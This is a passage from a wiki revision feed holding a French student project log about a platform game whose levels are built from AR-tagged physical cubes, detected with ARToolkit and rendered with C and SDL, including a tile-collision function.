Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
L'installation de la gravité dans le jeu pour le personnage est finis avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeux détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Voici donc notre nouvelle fonction détectant les collisions : &lt;br /&gt;
&amp;lt;br&amp;gt;int CollisionDecor(Map* carte,Sprite* test)&lt;br /&gt;
&amp;lt;br&amp;gt;{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;int xmin,xmax,ymin,ymax,i,j,indicetile;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmin = test-&amp;gt;x / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;ymin = test-&amp;gt;y / carte-&amp;gt;HAUTEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmax = (test-&amp;gt;x + test-&amp;gt;anim-&amp;gt;largeurchar -1) / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	ymax = (test-&amp;gt;y + test-&amp;gt;anim-&amp;gt;hauteurchar -1) / carte-&amp;gt;HAUTEUR_TILE;	&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (xmin&amp;lt;0 || ymin&amp;lt;0 || xmax&amp;gt;=carte-&amp;gt;nbtiles_largeur_monde || ymax&amp;gt;=carte-&amp;gt;nbtiles_hauteur_monde)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		return 1;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	for(i=xmin;i&amp;lt;=xmax;i++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		for(j=ymin;j&amp;lt;=ymax;j++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			indicetile = carte-&amp;gt;schema[i][j];&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].mur )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 1; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].danger )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 2; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;return 0;&lt;br /&gt;
&amp;lt;br&amp;gt;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:exemple1Rassemblement.png  |Résultat obtenu ]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nous avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœur. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28688</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28688"/>
				<updated>2016-03-12T13:02:54Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : a&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
L'installation de la gravité dans le jeu pour le personnage est finis avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeux détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Voici donc notre nouvelle fonction détectant les collisions : &lt;br /&gt;
&amp;lt;br&amp;gt;int CollisionDecor(Map* carte,Sprite* test)&lt;br /&gt;
&amp;lt;br&amp;gt;{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;int xmin,xmax,ymin,ymax,i,j,indicetile;&lt;br /&gt;
